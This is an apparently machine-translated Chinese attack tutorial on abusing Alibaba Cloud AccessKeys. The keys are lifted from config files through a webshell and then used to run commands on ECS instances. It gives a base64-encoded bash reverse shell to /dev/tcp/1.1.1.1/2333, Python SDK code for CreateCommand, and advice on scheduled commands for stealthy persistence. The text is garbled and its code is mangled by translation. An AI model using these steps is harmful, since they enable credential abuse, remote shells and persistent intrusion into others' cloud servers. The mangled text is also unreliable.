黑客解决阿里云Access Token问题

0x00 前言Q:在获得权限较低的Webshell的情况下,如何继续扩大收获?A:首先,信息搜集,分别包含:当前权限,主机网络环境、系统进程、网络连接状况、散落的凭证等,然后进行战略分析是否需要提权如…
0x00序言 问:当你获得具有低管理权限的Webshell时,如何继续扩张我的盈利? 答:首先,信息搜集包括:当前管理权限,服务器网络空间,系统进程,数据连接状态,分散化凭据等,随后进行战略分析。
  你需要提升支配权吗? 如何把流量带到(发送) 结合搜集的信息来变化其他更好的想法 偶然的是,我遇到了三种情况。
  提示:Intranet渗入通常是最不利的解决方法。我们只需要不断搜集信息并撕下流动性端口号。
  0x01阿里服务器对象存储 - OSS 什么是对象存储? 阿里服务器对象存储服务
  (OSS)是阿里服务器提供的一种规模性,安全,成本低,销售电价的云存储服务。您可以使用本文本文档中提供的简单REST界面随时在任何Internet设备上上传和下载数据。基于OSS,您可以搭建规模性基于数据的服务,如多媒体系统共享资源网站,网络磁盘以及个人和企业备份数据。 通过Webshell,可以在目标设备(Linux)的web站点文件目录中找到多个子站点配置文件config.Python,并配置相同的阿里服务器OSS地址,但储存空间(Bucket)不同。
  通常阿里服务器oss地址的构成如下: .com(s)://[BucketName].oss-Cn-[Region].aliyuncs.Com BucketName:储存空间 地区:地区,目前有以下几点: 比如:杭州市=Cn-杭州市 0x02浏览令牌 浏览令牌=AccessKeyId + AccessKeySecret OSS使用AccessKeyId/AccessKeySecret对称加密方法认证恳求的上传方身份。 AccessKeyId用于标志用户。 AccessKeySecret是用户用于数据加密签字字符串和用于认证签字字符串的OSS的密匙。 AccessKeySecret必须信息保密,只有用户和OSS知道。 AccessKey根据其隶属的账号类型进行区分。 阿里服务器帐户AccessKey:阿里服务器账户提供的AccessKey拥有隶属资源的全部操作管理权限 RAM账号AccessKey:RAM账号由阿里服务器账号授权转化成,用户拥有的AccessKey对特定资源的操作管理权限有限。 STS临时浏览凭据:由阿里服务器账号或RAM账号转化成,拥有的AccessKey应由在限制时间内对特定资源进行操作。已过期的批准已被回收。 详解 0x03通过浏览令牌移交ECS ECS:延展性计算服务(ECS)是一种简单,高效率且可拓展的计算服务,可帮助您快速搭建更稳定,更安全的手机应用程序,提升运营和维护效率,降低it互联网成本,并使您更加致力于核心业务创新。 如上所述,默认设置情况下,阿里服务器用户获得的浏览令牌是当前用户所有服务现有的令牌。如果您不使用RAM账号,则可以使用SDK来运作所有阿里服务器产品。 在这个项目中,我移交了4个ECS并执行随意指令以获得最大权限。 首先,通过载入配置文件,您将获得与上传映象需要的身份认证相同的浏览令牌。如何检查它是否能用? 浏览 密匙  Id   ********* 浏览 登陆密码   *************************** 区域   Cn - ***** 以下直接启用接口文档来获得ECS案例。过去,我将使用PHP来安装阿里服务器的sdk-core库,但现在可以在线调节,这大大的节约了当地调节的成本: DescribeInstances - 获得案例信息
  只需要第一个RegionId。点击接口文档 Explorer直接进入调节环境:
  网络服务器上的oss配置只有RegionId,我只需选择它,随后填好Access Token信息,即可读取数据。 我直接在Alicloud Shell中复制了一份团本: 輸出如下: 用json.Cn备份:
现有四台网络服务器,如何运行命令? 首先建立一个指令,随后特定一个案例来启用该指令,手动式地址: htpp://help.aliyun.Com/document_detail/64844.html语言 指令的值范围: RunBatScript:建立在Windows案例中运作的Bat脚本制作 RunPowerShellScript:建立在Windows案例中运作的PowerShell脚本制作 RunShellScript:建立在Linux案例中运作的shell脚本制作 由于它们都是Linux,我选择RunShellScript。注意:该指令必须是base64encode。 Rvn0xsy @ Rvn0xsy ~>  echo 'bash  -i >&  /dev/tcp/1.1.1.1/2333  0>& 1'  |  base64 YmFzaCAtaSA + JiAvZGV2L3RjcC8xLjEuMS4xLzIzMzMgMD4mMQo=#!/usr/bin/env  python #编号=utf-8的 从  aliyunsdkcore.client 导进  AcsClient 来源于  aliyunsdkcore.acs_exception.exceptions  import  ClientException 来源于  aliyunsdkcore.acs_exception.exceptions  import  ServerException 来源于  aliyunsdkecs.request.v20140526.CreateCommandRequest  import  CreateCommandRequest 手机客户端 =  AcsClient('< accessKeyId>', '< accessSecret>', 'Cn-shanghai') 恳求 =  CreateCommandRequest() Request.get_accept_format( 'JSON') request.get_Type( 'RunShellScript') request.get_CommandContent( 'YmFzaCAtaSA + JiAvZGV2L3RjcC8xLjEuMS4xLzIzMzMgMD4mMQo=') request.get_Name( '实验') 响应 =  client.Do_action_with_exception(request) #  python2:  复印(响应)  复印(str(响应, 编号='utf-8')) 成功执行后,将回到以下信息: { 'RequestId': ' ******** - **** - **** - **** - ********', 'CommandId': 'c-0 ************' } 最好记录下来CommandId,或者启用DescribeCommands。 { 'PageNumber':  1, 'TotalCount':  1, 'PageSize':  10, 'RequestId': ' ******** - **** - **** - **** - ********', '指令':  { '指令':  [ { '名字': '检测', '请求超时':  3500, 'CommandContent': 'YmFzaCAtaSA + JiAvZGV2L3RjcC8xLjEuMS4xLzIzMzMgMD4mMQo=', '叙述': '', 'Type': 'RunShellScript', 'CommandId': 'c-0 ************', 'WorkingDir': '' } ] } } 接下来是InvokeCommand: RegionId???区域Id,比如:Cn-shanghai CommandId:指令Id InstanceId:案例Id 定时执行:指令是否定期执行。默认值:False 频率:规律性任务的执行周期时间。两个规律性任务之间的间距不能低于10秒。当主要参数Timed的数值True时,主要参数Frequency是必不可少主要参数。
  此参数的值遵照Cron关系式,请参阅Cron关系式。 默认设置情况下,我们不用遵照这些主要参数。如果要保存管理权限,可以将Timed设置为False,并将Frequency设置为定时任务计划关系式。在执行过程中,由于浏览令牌,它基本上不会被捕获。被叫,一切都列为白名单。